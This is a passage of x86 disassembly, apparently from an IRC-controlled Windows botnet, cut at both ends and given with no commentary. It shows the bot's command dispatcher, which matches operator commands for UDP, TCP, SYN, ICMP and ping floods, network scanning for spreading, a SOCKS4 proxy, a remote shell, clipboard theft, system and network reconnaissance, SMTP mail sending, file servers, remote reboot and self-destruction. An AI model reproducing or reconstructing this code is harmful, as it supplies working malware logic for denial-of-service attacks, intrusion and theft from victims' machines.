		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_24], dl


loc_408535:				; CODE XREF: sub_4078FA+C28j
		and	[ebp+var_23], 0
		lea	eax, [ebp+var_B8]
		lea	edx, [eax+1]


loc_408542:				; CODE XREF: sub_4078FA+C4Dj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_408542
		sub	eax, edx
		mov	ecx, eax
		xor	eax, eax
		lea	edi, [ebp+var_B8]
		stosd
		stosd
		add	ecx, 6
		push	ecx
		push	[ebp+var_A8]
		stosd
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_412C40
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40556E
		push	esi
		push	[ebp+arg_0]
		call	sub_413920
		add	esp, 20h


loc_40858D:				; CODE XREF: sub_4078FA+BA5j
		test	eax, eax
		jnz	loc_4084A4
		mov	esi, 1FFh
		push	esi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_17E8]
		push	eax
		call	sub_412C40
		push	esi
		lea	eax, [ebp+var_17E8]
		push	eax
		lea	eax, [ebp+var_1BE8]
		push	eax
		call	sub_412C40
		mov	esi, offset asc_41FA74 ; " "
		lea	eax, [ebp+var_1BE8]
		push	esi
		push	eax
		call	sub_413859
		xor	edi, edi
		add	esp, 20h
		mov	[ebp+var_A4], eax
		inc	edi


loc_4085DC:				; CODE XREF: sub_4078FA+CF7j
		push	esi
		push	0
		call	sub_413859
		mov	[ebp+edi*4+var_A4], eax
		inc	edi
		cmp	edi, 20h
		pop	ecx
		pop	ecx
		jl	short loc_4085DC
		lea	eax, [ebp+ebx+var_A4]
		mov	ecx, [eax]
		test	ecx, ecx
		jz	loc_407B7B
		add	ecx, 3
		mov	[eax], ecx


loc_408609:				; CODE XREF: sub_4078FA+B2Dj
		mov	eax, [ebp+ebx+var_A4]
		push	8
		mov	edi, eax
		mov	esi, offset aRndnick ; "rndnick"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		mov	[ebp+var_20], eax
		jz	loc_40CF95
		push	3
		mov	edi, eax
		mov	esi, offset aRn	; "rn"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CF95
		push	4
		mov	edi, eax
		mov	esi, offset aDie ; "die"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C4A9
		push	2
		mov	edi, eax
		mov	esi, offset aD	; "d"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C4A9
		push	7
		mov	edi, eax
		mov	esi, offset aLogout ; "logout"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C3BB
		push	3
		mov	edi, eax
		mov	esi, offset aLo	; "lo"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C3BB
		push	8
		mov	edi, eax
		mov	esi, offset aVersion ; "version"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C39D
		push	4
		mov	edi, eax
		mov	esi, offset aVer ; "ver"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C39D
		push	7
		mov	edi, eax
		mov	esi, offset aSecure ; "secure"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C28F
		push	4
		mov	edi, eax
		mov	esi, offset aSec ; "sec"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C28F
		push	9
		mov	edi, eax
		mov	esi, offset aUnsecure ;	"unsecure"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C28F
		push	6
		mov	edi, eax
		mov	esi, offset aUnsec ; "unsec"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C28F
		push	7
		mov	edi, eax
		mov	esi, offset aSocks4 ; "socks4"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C16A
		push	3
		mov	edi, eax
		mov	esi, offset aS4	; "s4"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C16A
		push	0Bh
		mov	edi, eax
		mov	esi, offset aSocks4stop	; "socks4stop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_408753
		push	[ebp+ebx+var_A0]
		push	12h
		push	offset aServer_0 ; "Server"
		push	offset aSocks4_0 ; "[SOCKS4]"
		jmp	loc_40C14E
; ---------------------------------------------------------------------------


loc_408753:				; CODE XREF: sub_4078FA+E3Fj
		push	0Bh
		mov	edi, eax
		mov	esi, offset aRloginstop	; "rloginstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_40877B
		push	[ebp+ebx+var_A0]
		push	7
		push	offset aServer_0 ; "Server"
		push	offset aRlogind	; "[RLOGIND]"
		jmp	loc_40C14E
; ---------------------------------------------------------------------------


loc_40877B:				; CODE XREF: sub_4078FA+E67j
		push	9
		mov	edi, eax
		mov	esi, offset aHttpstop ;	"httpstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_4087A3
		push	[ebp+ebx+var_A0]
		push	4
		push	offset aServer_0 ; "Server"
		push	offset aHttpd	; "[HTTPD]"
		jmp	loc_40C14E
; ---------------------------------------------------------------------------


loc_4087A3:				; CODE XREF: sub_4078FA+E8Fj
		push	8
		mov	edi, eax
		mov	esi, offset aLogstop ; "logstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_4087CB
		push	[ebp+ebx+var_A0]
		push	1Dh
		push	offset aLogList	; "Log list"
		push	offset aLog	; "[LOG]"
		jmp	loc_40C14E
; ---------------------------------------------------------------------------


loc_4087CB:				; CODE XREF: sub_4078FA+EB7j
		push	0Dh
		mov	edi, eax
		mov	esi, offset aRedirectstop ; "redirectstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_4087F3
		push	[ebp+ebx+var_A0]
		push	11h
		push	offset aTcpRedirect ; "TCP redirect"
		push	offset aRedirect_0 ; "[REDIRECT]"
		jmp	loc_40C14E
; ---------------------------------------------------------------------------


loc_4087F3:				; CODE XREF: sub_4078FA+EDFj
		push	0Ah
		mov	edi, eax
		mov	esi, offset aDdos_stop ; "ddos.stop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_40881B
		push	[ebp+ebx+var_A0]
		push	0Bh
		push	offset aDdosFlood ; "DDoS flood"
		push	offset aDdos	; "[DDoS]"
		jmp	loc_40C14E
; ---------------------------------------------------------------------------


loc_40881B:				; CODE XREF: sub_4078FA+F07j
		push	8
		mov	edi, eax
		mov	esi, offset aSynstop ; "synstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_408843
		push	[ebp+ebx+var_A0]
		push	0Ch
		push	offset aSynFlood ; "Syn	flood"
		push	offset aSyn	; "[SYN]"
		jmp	loc_40C14E
; ---------------------------------------------------------------------------


loc_408843:				; CODE XREF: sub_4078FA+F2Fj
		push	8
		mov	edi, eax
		mov	esi, offset aUdpstop ; "udpstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_40886B
		push	[ebp+ebx+var_A0]
		push	10h
		push	offset aUdpFlood ; "UDP	flood"
		push	offset aUpd	; "[UPD]"
		jmp	loc_40C14E
; ---------------------------------------------------------------------------


loc_40886B:				; CODE XREF: sub_4078FA+F57j
		push	9
		mov	edi, eax
		mov	esi, offset aPingstop ;	"pingstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_408893
		push	[ebp+ebx+var_A0]
		push	0Fh
		push	offset aPingFlood ; "Ping flood"
		push	offset aPing_1	; "[PING]"
		jmp	loc_40C14E
; ---------------------------------------------------------------------------


loc_408893:				; CODE XREF: sub_4078FA+F7Fj
		push	9
		mov	edi, eax
		mov	esi, offset aIcmpstop ;	"icmpstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_4088BB
		push	[ebp+ebx+var_A0]
		push	0Eh
		push	offset aIcmpFlood ; "ICMP flood"


loc_4088B1:				; CODE XREF: sub_4078FA+FDFj
		push	offset aIcmp_0	; "[ICMP]"
		jmp	loc_40C14E
; ---------------------------------------------------------------------------


loc_4088BB:				; CODE XREF: sub_4078FA+FA7j
		push	8
		mov	edi, eax
		mov	esi, offset aTcpstop ; "tcpstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_4088DB
		push	[ebp+ebx+var_A0]
		push	0Dh
		push	offset aTcpFlood ; "TCP	flood"
		jmp	short loc_4088B1
; ---------------------------------------------------------------------------


loc_4088DB:				; CODE XREF: sub_4078FA+FCFj
		push	9
		mov	edi, eax
		mov	esi, offset aTftpstop ;	"tftpstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_408903
		push	[ebp+ebx+var_A0]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset aTftp_0	; "[TFTP]"
		jmp	loc_40C14E
; ---------------------------------------------------------------------------


loc_408903:				; CODE XREF: sub_4078FA+FEFj
		push	0Ah
		mov	edi, eax
		mov	esi, offset aProcsstop ; "procsstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C13B
		push	7
		mov	edi, eax
		mov	esi, offset aPsstop ; "psstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C13B
		push	0Ah
		mov	edi, eax
		mov	esi, offset aClonestop ; "clonestop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_408953
		push	[ebp+ebx+var_A0]
		push	18h
		push	offset aClone	; "Clone"
		push	offset aClones	; "[CLONES]"
		jmp	loc_40C14E
; ---------------------------------------------------------------------------


loc_408953:				; CODE XREF: sub_4078FA+103Fj
		push	0Bh
		mov	edi, eax
		mov	esi, offset aSecurestop	; "securestop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_40897B
		push	[ebp+ebx+var_A0]
		push	1Ah
		push	offset aSecure_0 ; "Secure"
		push	offset aSecure_1 ; "[SECURE]"
		jmp	loc_40C14E
; ---------------------------------------------------------------------------


loc_40897B:				; CODE XREF: sub_4078FA+1067j
		push	9
		mov	edi, eax
		mov	esi, offset aScanstop ;	"scanstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_4089A3
		push	[ebp+ebx+var_A0]
		push	9
		push	offset aScan_1	; "Scan"
		push	offset aScan_0	; "[SCAN]"
		jmp	loc_40C14E
; ---------------------------------------------------------------------------


loc_4089A3:				; CODE XREF: sub_4078FA+108Fj
		push	0Ah
		mov	edi, eax
		mov	esi, offset aScanstats ; "scanstats"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C122
		push	6
		mov	edi, eax
		mov	esi, offset aStats ; "stats"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C122
		push	0Ah
		mov	edi, eax
		mov	esi, offset aReconnect ; "reconnect"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C101
		push	2
		mov	edi, eax
		mov	esi, offset aR	; "r"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C101
		push	0Bh
		mov	edi, eax
		mov	esi, offset aDisconnect	; "disconnect"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C0DF
		push	3
		mov	edi, eax
		mov	esi, offset aDc	; "dc"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C0DF
		push	5
		mov	edi, eax
		mov	esi, offset aQuit_0 ; "quit"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C095
		push	2
		mov	edi, eax
		mov	esi, offset aQ	; "q"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C095
		push	7
		mov	edi, eax
		mov	esi, offset aStatus ; "status"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C056
		push	2
		mov	edi, eax
		mov	esi, offset aS_3 ; "s"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C056
		push	3
		mov	edi, eax
		mov	esi, offset aId	; "id"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C01E
		push	2
		mov	edi, eax
		mov	esi, offset aI_0 ; "i"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C01E
		push	7
		mov	edi, eax
		mov	esi, offset aReboot ; "reboot"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_408AE5
		call	sub_4058F3
		test	eax, eax
		mov	eax, offset aMainRebootingS ; "[MAIN]: Rebooting system."
		jnz	short loc_408AB6
		mov	eax, offset aMainFailedToRe ; "[MAIN]: Failed to reboot	system."


loc_408AB6:				; CODE XREF: sub_4078FA+11B5j
		push	eax
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_412BB5
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		add	esp, 1Ch
		jmp	loc_40C4A1
; ---------------------------------------------------------------------------


loc_408AE5:				; CODE XREF: sub_4078FA+11A7j
		push	8
		mov	edi, eax
		mov	esi, offset aThreads ; "threads"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BF2F
		push	2
		mov	edi, eax
		mov	esi, offset aT	; "t"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BF2F
		push	8
		mov	edi, eax
		mov	esi, offset aAliases ; "aliases"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BF0C
		push	3
		mov	edi, eax
		mov	esi, offset aAl	; "al"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BF0C
		push	4
		mov	edi, eax
		mov	esi, offset aLog_0 ; "log"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BE19
		push	3
		mov	edi, eax
		mov	esi, offset aLg	; "lg"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BE19
		push	9
		mov	edi, eax
		mov	esi, offset aClearlog ;	"clearlog"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BDFD
		push	4
		mov	edi, eax
		mov	esi, offset aClg ; "clg"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BDFD
		push	8
		mov	edi, eax
		mov	esi, offset aNetinfo ; "netinfo"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BDC2
		push	3
		mov	edi, eax
		mov	esi, offset aNi	; "ni"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BDC2
		push	8
		mov	edi, eax
		mov	esi, offset aSysinfo ; "sysinfo"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BD96
		push	3
		mov	edi, eax
		mov	esi, offset aSi	; "si"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BD96
		push	8
		mov	edi, eax
		mov	esi, offset aDestroy ; "destroy"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BD19
		push	0Bh
		mov	edi, eax
		mov	esi, offset aErradicate	; "erradicate"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BD19
		push	6
		mov	edi, eax
		mov	esi, offset aProcs ; "procs"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BBF3
		push	3
		mov	edi, eax
		mov	esi, offset aPs	; "ps"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BBF3
		push	7
		mov	edi, eax
		mov	esi, offset aUptime ; "uptime"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BB6C
		push	3
		mov	edi, eax
		mov	esi, offset aUp	; "up"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BB6C
		push	0Ah
		mov	edi, eax
		mov	esi, offset aDriveinfo ; "driveinfo"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BB4F
		push	4
		mov	edi, eax
		mov	esi, offset aDrv ; "drv"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BB4F
		push	9
		mov	edi, eax
		mov	esi, offset aTestdlls ;	"testdlls"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BB36
		push	4
		mov	edi, eax
		mov	esi, offset aDll ; "dll"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BB36
		push	8
		mov	edi, eax
		mov	esi, offset aOpencmd ; "opencmd"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BAF7
		push	5
		mov	edi, eax
		mov	esi, offset aOcmd ; "ocmd"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BAF7
		push	8
		mov	edi, eax
		mov	esi, offset aCmdstop ; "cmdstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_408CED
		push	[ebp+ebx+var_A0]
		push	8
		push	offset aRemoteShell ; "Remote shell"
		push	offset aCmd_0	; "[CMD]"
		jmp	loc_40C14E
; ---------------------------------------------------------------------------


loc_408CED:				; CODE XREF: sub_4078FA+13D9j
		push	4
		mov	edi, eax
		mov	esi, offset aWho ; "who"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	loc_40902C
		cmp	[ebp+var_C], edx
		jnz	short loc_408D20
		push	edx
		push	[ebp+var_4]
		push	offset aLoginList ; "-[Login List]-"
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		add	esp, 14h


loc_408D20:				; CODE XREF: sub_4078FA+140Aj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_408D25:				; CODE XREF: sub_4078FA+1472j
		cmp	byte ptr [edi],	0
		lea	eax, [edi+1]
		jnz	short loc_408D32
		mov	eax, offset aEmpty ; "<Empty>"


loc_408D32:				; CODE XREF: sub_4078FA+1431j
		push	eax
		push	esi
		lea	eax, [ebp+var_2E0]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_412BB5
		push	1
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		add	esp, 24h
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_408D25
		push	offset aMainLoginListC ; "[MAIN]: Login	list complete."
		call	sub_401C33
		mov	eax, [ebp+var_20]
		pop	ecx


loc_408D7C:				; CODE XREF: sub_4078FA+22DDj
					; sub_4078FA+4BC1j
		mov	ecx, [ebp+ebx+var_94]
		test	ecx, ecx
		mov	[ebp+var_14], ecx
		jz	loc_407B7B
		push	8
		mov	edi, eax
		mov	esi, offset aAdvscan ; "advscan"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CB69
		push	4
		mov	edi, eax
		mov	esi, offset aAsc ; "asc"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CB69
		push	9
		mov	edi, eax
		mov	esi, offset aUdpflood ;	"udpflood"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CA12
		push	4
		mov	edi, eax
		mov	esi, offset aUdp ; "udp"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CA12
		push	2
		mov	edi, eax
		mov	esi, offset aU	; "u"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CA12
		push	0Ah
		mov	edi, eax
		mov	esi, offset aPingflood ; "pingflood"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C8CF
		push	5
		mov	edi, eax
		mov	esi, offset aPing_0 ; "ping"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C8CF
		push	2
		mov	edi, eax
		mov	esi, offset aP	; "p"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C8CF
		push	9
		mov	edi, eax
		mov	esi, offset aTcpflood ;	"tcpflood"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C6C4
		push	4
		mov	edi, eax
		mov	esi, offset aTcp ; "tcp"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C6C4
		push	6
		mov	edi, eax
		mov	esi, offset aEmail ; "email"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	loc_40C4CE
		mov	eax, [ebp+ebx+var_A0]
		lea	edx, [ebp+var_B70]
		sub	edx, eax


loc_408E79:				; CODE XREF: sub_4078FA+1587j
		mov	cl, [eax]
		mov	[edx+eax], cl
		inc	eax
		test	cl, cl
		jnz	short loc_408E79
		push	[ebp+ebx+var_9C]
		call	sub_412F42
		mov	esi, eax
		mov	eax, [ebp+ebx+var_98]
		lea	edx, [ebp+var_18E8]
		pop	ecx
		sub	edx, eax


loc_408EA1:				; CODE XREF: sub_4078FA+15AFj
		mov	cl, [eax]
		mov	[edx+eax], cl
		inc	eax
		test	cl, cl
		jnz	short loc_408EA1
		mov	eax, [ebp+var_14]
		lea	edx, [ebp+var_1340]
		sub	edx, eax


loc_408EB6:				; CODE XREF: sub_4078FA+15C4j
		mov	cl, [eax]
		mov	[edx+eax], cl
		inc	eax
		test	cl, cl
		jnz	short loc_408EB6
		push	offset asc_41FA74 ; " "
		push	offset a_	; "_"
		push	[ebp+ebx+var_90]
		call	sub_40556E
		add	esp, 0Ch
		lea	edx, [ebp+var_19E8]


loc_408EDF:				; CODE XREF: sub_4078FA+15EDj
		mov	cl, [eax]
		inc	eax
		mov	[edx], cl
		inc	edx
		test	cl, cl
		jnz	short loc_408EDF
		lea	eax, [ebp+var_1D78]
		push	eax
		push	101h
		call	dword_4334B0
		lea	eax, [ebp+var_B70]
		push	eax
		call	dword_433500
		push	6
		push	1
		push	2
		mov	ebx, eax
		call	dword_4334A0
		mov	edi, eax
		mov	[ebp+var_C8], 2
		mov	eax, [ebx+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		push	esi
		mov	[ebp+var_C4], eax
		call	dword_4335EC
		mov	[ebp+var_C6], ax
		lea	eax, [ebp+var_19E8]
		push	eax
		lea	eax, [ebp+var_18E8]
		push	eax
		lea	eax, [ebp+var_19E8]
		push	eax
		lea	eax, [ebp+var_1340]
		push	eax
		lea	eax, [ebp+var_18E8]
		push	eax
		lea	eax, [ebp+var_2178]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_412BB5
		add	esp, 1Ch
		push	10h
		lea	eax, [ebp+var_C8]
		push	eax
		push	edi
		call	dword_433458
		xor	ebx, ebx
		push	ebx
		mov	esi, 100h
		push	esi
		lea	eax, [ebp+var_15E4]
		push	eax
		push	edi
		call	dword_433414
		lea	eax, [ebp+var_15E4]
		lea	ecx, [eax+1]


loc_408FA3:				; CODE XREF: sub_4078FA+16AEj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_408FA3
		push	ebx
		sub	eax, ecx
		push	eax
		lea	eax, [ebp+var_2178]
		push	eax
		push	edi
		call	dword_433534
		push	ebx
		push	esi
		lea	eax, [ebp+var_15E4]
		push	eax
		push	edi
		call	dword_433414
		push	edi
		call	dword_4335AC
		call	dword_4335B8
		lea	eax, [ebp+var_1340]
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aEmailMessageSe ; "[EMAIL]: Message sent	to %s."
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jnz	short loc_409015
		push	ebx


loc_408FFA:				; CODE XREF: sub_4078FA+35BCj
					; sub_4078FA+3665j
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]


loc_40900D:				; CODE XREF: sub_4078FA+2DA6j
		call	sub_4045DD
		add	esp, 14h


loc_409015:				; CODE XREF: sub_4078FA+16FDj
					; sub_4078FA+2D8Ej ...
		mov	esi, [ebp+arg_24]


loc_409018:				; CODE XREF: sub_4078FA+35FAj
					; sub_4078FA+361Dj ...
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_401C33
		pop	ecx
		mov	eax, esi
		jmp	loc_407B7E
; ---------------------------------------------------------------------------


loc_40902C:				; CODE XREF: sub_4078FA+1401j
		push	8
		mov	edi, eax
		mov	esi, offset aGetclip ; "getclip"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BAB3
		push	3
		mov	edi, eax
		mov	esi, offset aGc	; "gc"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BAB3
		push	9
		mov	edi, eax
		mov	esi, offset aFlusharp ;	"flusharp"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BA88
		push	5
		mov	edi, eax
		mov	esi, offset aFarp ; "farp"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BA88
		push	9
		mov	edi, eax
		mov	esi, offset aFlushdns ;	"flushdns"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BA58
		push	5
		mov	edi, eax
		mov	esi, offset aFdns ; "fdns"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BA58
		push	0Ah
		mov	edi, eax
		mov	esi, offset aCurrentip ; "currentip"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BA1E
		push	4
		mov	edi, eax
		mov	esi, offset aCip ; "cip"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BA1E
		push	0Dh
		mov	edi, eax
		mov	esi, offset aRloginserver ; "rloginserver"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B8E5
		push	7
		mov	edi, eax
		mov	esi, offset aRlogin ; "rlogin"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B8E5
		push	0Bh
		mov	edi, eax
		mov	esi, offset aHttpserver	; "httpserver"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B764
		push	5
		mov	edi, eax
		mov	esi, offset aHttp ; "http"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B764
		push	0Bh
		mov	edi, eax
		mov	esi, offset aTftpserver	; "tftpserver"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B60D
		push	5
		mov	edi, eax
		mov	esi, offset aTftp ; "tftp"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B60D
		push	8
		mov	edi, eax
		mov	esi, offset aScanall ; "scanall"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B2D2
		push	3
		mov	edi, eax
		mov	esi, offset aSa	; "sa"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B2D2
		mov	ecx, [ebp+ebx+var_A0]
		test	ecx, ecx
		mov	[ebp+var_8], ecx
		jz	loc_407B7B
		push	5
		mov	edi, eax
		mov	esi, offset aNick_0 ; "nick"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B2AD
		push	2
		mov	edi, eax
		mov	esi, offset aN	; "n"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B2AD
		push	5
		mov	edi, eax
		mov	esi, offset aJoin ; "join"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B289
		push	2
		mov	edi, eax
		mov	esi, offset aJ	; "j"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B289
		push	5
		mov	edi, eax
		mov	esi, offset aPart_0 ; "part"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B26F
		push	3
		mov	edi, eax
		mov	esi, offset aPt	; "pt"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B26F
		push	4
		mov	edi, eax
		mov	esi, offset aRaw ; "raw"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B238
		push	2
		mov	edi, eax
		mov	esi, offset aR	; "r"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B238
		push	0Bh
		mov	edi, eax
		mov	esi, offset aKillthread	; "killthread"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B17E
		push	2
		mov	edi, eax
		mov	esi, offset aK	; "k"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B17E
		push	7
		mov	edi, eax
		mov	esi, offset aC_quit ; "c_quit"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B0D0
		push	4
		mov	edi, eax
		mov	esi, offset aC_q ; "c_q"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B0D0
		push	0Ah
		mov	edi, eax
		mov	esi, offset aC_rndnick ; "c_rndnick"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B07F
		push	5
		mov	edi, eax
		mov	esi, offset aC_rn ; "c_rn"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B07F
		push	7
		mov	edi, eax
		mov	esi, offset aPrefix ; "prefix"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B066
		push	3
		mov	edi, eax
		mov	esi, offset aPr	; "pr"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B066
		push	5
		mov	edi, eax
		mov	esi, offset aOpen ; "open"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B030
		push	2
		mov	edi, eax
		mov	esi, offset aO	; "o"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B030
		push	7
		mov	edi, eax
		mov	esi, offset aServer ; "server"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B007
		push	3
		mov	edi, eax
		mov	esi, offset aSe	; "se"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B007
		push	4
		mov	edi, eax
		mov	esi, offset aDns ; "dns"
		pop	ecx
		xor	edx, edx
